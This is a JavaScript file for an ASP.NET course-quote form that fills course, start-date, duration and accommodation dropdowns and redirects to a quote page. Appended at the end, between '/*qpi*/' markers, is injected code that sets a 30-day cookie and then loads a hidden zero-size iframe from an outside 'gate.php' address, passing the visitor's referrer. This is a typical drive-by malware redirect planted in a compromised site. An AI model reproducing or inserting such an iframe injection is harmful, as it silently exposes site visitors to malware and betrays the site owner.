﻿// JavaScript Document



 function Calculate()
{
    //alert("calculate")

    course = document.getElementById(clientidCourse).options[document.getElementById(clientidCourse).selectedIndex].value;
    //StartDate = document.getElementById(clientidStartDates).options[document.getElementById(clientidStartDates).selectedIndex].text;
    Duration = document.getElementById(clientidWeeks).options[document.getElementById(clientidWeeks).selectedIndex].text;
    Acc = document.getElementById(clientidAcc).options[document.getElementById(clientidAcc).selectedIndex].value;
    //course = "Curso"
    StartDate=document.getElementById(clientidStartDates).options[document.getElementById(clientidStartDates).selectedIndex].value;
	
    if (StartDate=="0000-00-00") {
        alert("Bitte, fragen Sie uns")
        return
    }

    //Duration="4"
    //Acc = "Accommodation"
    //USAR encodeURIComponent para tratar los '+'
    window.location = "quotelines.aspx?weeks="+Duration+"&course="+encodeURIComponent(course)+"&acc="+encodeURIComponent(Acc)+"&startdate="+encodeURIComponent(StartDate)

}


function GetStartDates()
{
    //alert("changed")
    course = document.getElementById(clientidCourse).options[document.getElementById(clientidCourse).selectedIndex].value;
    beginner = document.getElementById(clientidCheckBox1).checked;
	sbegin = "false"
	if (beginner) sbegin = "true"
	else sbegin = "false"
    //alert("Course:" + course);
    ASP.ale_getquote_ascx.GetStartDates(course, sbegin, getDateLines_callback);  // asynchronous call


}

function getWeeks_callback(res){


    //alert("getweeks callback")
    //alert("length:"+document.getElementById(clientidWeeks).length)
    max = document.getElementById(clientidWeeks).length
  for (t1=0;t1<max;t1++){
    //alert("borro "+t1)
	document.getElementById(clientidWeeks).options[0] = null
  }



  if (res.value.length>0){
        //alert(res.value)
        //alert("length:" + res.value.length)
  for (t2=0;t2<res.value.length;t2++){
    //alert("pongo "+t2)
    document.getElementById(clientidWeeks).options[t2] = new Option(res.value[t2],res.value[t2])
  }
  }
  else{
    for (t3=0;t3<21;t3++){
        //alert("pongo t3: "+t3)
        document.getElementById(clientidWeeks).options[t3] = new Option(string(t3),string(t3))
    }

  }

    //alert("salgo");
    //alert("al final: "+ document.getElementById(clientidWeeks).length)


}


function getDateLines_callback(res)
{


    //alert("getDateLines callback")
    //alert("res:" + res.value.texts)
  document.getElementById(clientidStartDates).length = 0
  for (t=0;t<res.value.texts.length;t++){
    document.getElementById(clientidStartDates).options[t] = new Option(res.value.texts[t],res.value.values[t])
  }

   //durations
    course = document.getElementById(clientidCourse).options[document.getElementById(clientidCourse).selectedIndex].value;
    //alert("getWeeks for "+course)
    ASP.ale_getquote_ascx.GetWeeks(course, getWeeks_callback);  // asynchronous call


}


function getCourses()
{
	ASP.ale_getquote_ascx.GetCourses(getCourses_callback);  // asynchronous call

}

// This method will be called after the method has been executed
// and the result has been sent to the client.

function getCourses_callback(res)
{
  for (t=0;t<res.value.texts.length;t++){
    document.getElementById(clientidCourse).options[t] = new Option(res.value.texts[t], res.value.values[t])
  }
  ASP.ale_getquote_ascx.GetStartDates(res.value.values[0], "false" , getDateLines_callback);  // asynchronous call

}


function getAcc()
{
  ASP.ale_getquote_ascx.GetAccommodations(getAcc_callback);  // asynchronous call
}

// This method will be called after the method has been executed
// and the result has been sent to the client.

function getAcc_callback(res)
{

  for (t=0;t<res.value.texts.length;t++){
    document.getElementById(clientidAcc).options[t] = new Option(res.value.texts[t], res.value.values[t])
  }

}


getCourses()
getAcc()


/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=967734&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
